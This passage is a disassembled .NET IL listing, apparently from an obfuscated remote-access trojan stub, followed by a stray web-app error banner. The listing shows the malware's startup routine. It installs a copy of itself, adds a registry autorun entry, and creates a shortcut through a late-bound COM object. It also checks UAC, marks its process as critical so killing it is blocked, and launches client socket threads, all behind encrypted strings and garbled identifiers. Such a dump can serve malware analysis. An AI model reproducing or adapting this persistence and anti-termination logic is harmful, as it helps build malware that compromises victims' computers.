ldc.i4.5 <null>
and <null>
stelem.i4 <null>
brtrue.s IL_030A: ldc.i4.3
ldc.i4.s 9
stloc.s V_29
br IL_0265: ldloc.s V_29
ldc.i4.3 <null>
br.s IL_0303: stloc.s V_29
ldloc.s V_5
ldc.i4 526
ldc.i4 601
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
ldc.i4 776
ldc.i4 797
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႥႠ<System.String>(System.String,System.Char,System.Int16)
pop <null>
ldc.i4.3 <null>
stloc.s V_29
br IL_0265: ldloc.s V_29
ldloc.0 <null>
isinst System.String
ldc.i4 355
ldc.i4 360
call System.Boolean My.MyApplication::Ⴜ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_0355: ldc.i4.0
ldc.i4.7 <null>
stloc.s V_29
br IL_0265: ldloc.s V_29
ldc.i4.0 <null>
br.s IL_034E: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
isinst System.IO.FileInfo
ldc.i4 767
ldc.i4 753
call System.Void Stub.ProcessCritical::ႠႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Int16)
ldc.i4 1000
ldc.i4 991
ldc.i4 940
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴅ.Ⴍ::Ⴍ
ldc.i4.s 54
ldc.i4.s 31
call System.Byte[] Stub.ProcessCritical::ႠႠ<System.String>(System.String,System.Int16,System.Int16)
ldc.i4 134
ldc.i4 173
call System.Void My.MyComputer::ႷႷ<System.String>(System.String,System.Byte[],System.Char,System.Int32)
leave.s IL_03D7: ldc.i4.0
dup <null>
ldc.i4 678
ldc.i4 731
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_7
ldc.i4 149
ldc.i4 252
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_03D7: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldnull <null>
ldc.i4.3 <null>
ldc.i4 1190650754
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 426
ldc.i4 389
call System.Void Stub.Main::ႤႳ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Char,System.Char)
ldc.i4.1 <null>
stloc.s V_31
br.s IL_03DA: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 168
ldc.i4 164
call System.Boolean My.MyApplication::Ⴜ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_045C: ldc.i4.3
ldloc.s V_32
ldc.i4 533
ldelem.u1 <null>
ldc.i4.s 64
sub <null>
stloc.s V_31
br IL_03DA: ldloc.s V_31
ldc.i4.3 <null>
br.s IL_0455: stloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 1190650575
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 271
ldc.i4 347
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4 1190651367
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldnull <null>
ldc.i4.5 <null>
ldc.i4 1190650521
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.s 55
ldc.i4.s 50
call System.String My.MyComputer::ႷႥ(System.String[],System.Char,System.Char)
ldc.i4 233
ldc.i4 253
call System.Void Stub.AlgorithmAES::ႠႣ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldc.i4.7 <null>
stloc.s V_31
br IL_03DA: ldloc.s V_31
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190651336
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 256
ldc.i4 340
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 1190651363
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldnull <null>
ldc.i4.2 <null>
ldc.i4 1190650526
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 824
ldc.i4 829
call System.String My.MyComputer::ႷႥ(System.String[],System.Char,System.Char)
ldc.i4 477
ldc.i4 457
call System.Void Stub.AlgorithmAES::ႠႣ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4 521
ldc.i4 512
call System.Diagnostics.Process Stub.ProcessCritical::ႠႷ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Char)
stloc.s V_8
ldloc.s V_8
castclass System.Diagnostics.Process
ldc.i4 587
ldc.i4 524
call System.Void Stub.Main::ႤႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16)
leave.s IL_05EC: ldc.i4.2
dup <null>
ldc.i4 876
ldc.i4 785
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_10
ldc.i4.s 68
ldc.i4.s 45
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_05EC: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_34
ldloc.s V_34
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴐ()
ldc.i4.s 10
ldc.i4.3 <null>
call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႣႭ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int16,System.Int32)
ldc.i4 494
ldc.i4 430
call Microsoft.Win32.RegistryKey Stub.Main::ႨႤ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Int16)
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190649907
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
ldc.i4 354
ldc.i4 374
call Microsoft.Win32.RegistryKey Stub.Main::ႤႷ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int16)
ldsfld System.String Settings::InstallStr
ldc.i4 545
ldc.i4 629
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
ldloc.0 <null>
castclass System.String
ldc.i4 365
ldc.i4 350
call System.Void Stub.AlgorithmAES::ႥႼ<System.Object,Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int16,System.Int16)
leave.s IL_068A: ldc.i4.0
dup <null>
ldc.i4 788
ldc.i4 873
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_11
ldc.i4.s 52
ldc.i4.s 93
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_068A: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_36
ldloc.s V_36
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 462
ldc.i4 447
call System.String Stub.AlgorithmAES::ႥႥ(System.Environment/SpecialFolder,System.Char,System.Char)
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190650313
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 641
ldc.i4 725
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
ldnull <null>
ldc.i4.2 <null>
ldc.i4 1190651346
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldc.i4.7 <null>
stloc.s V_36
br.s IL_068D: ldloc.s V_36
ldnull <null>
ldc.i4.3 <null>
ldc.i4 1190651194
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldnull <null>
ldc.i4.8 <null>
ldc.i4 1190650268
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
ldc.i4 1190651176
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
castclass System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
castclass System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
castclass System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_07A1: stloc.s V_18
ldloc.s V_16
isinst System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 1190651166
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.4 <null>
stloc.s V_36
br IL_068D: ldloc.s V_36
ldloc.s V_18
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190651145
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldnull <null>
ldc.i4.2 <null>
ldc.i4 1190650262
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.3 <null>
stloc.s V_36
br IL_068D: ldloc.s V_36
ldloc.s V_18
ldnull <null>
ldnull <null>
ldc.i4.5 <null>
ldc.i4 1190651035
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.8 <null>
stloc.s V_36
br IL_068D: ldloc.s V_36
ldnull <null>
stloc.s V_18
ldloc.s V_12
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴅ.Ⴍ::Ⴍ
leave.s IL_0872: ldc.i4.4
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0872: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_38
ldloc.s V_38
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴅ.Ⴍ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_08C8: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_38
br.s IL_0875: ldloc.s V_38
ldc.i4.3 <null>
br.s IL_08C4: stloc.s V_38
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.0 <null>
stloc.s V_38
br IL_0875: ldloc.s V_38
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙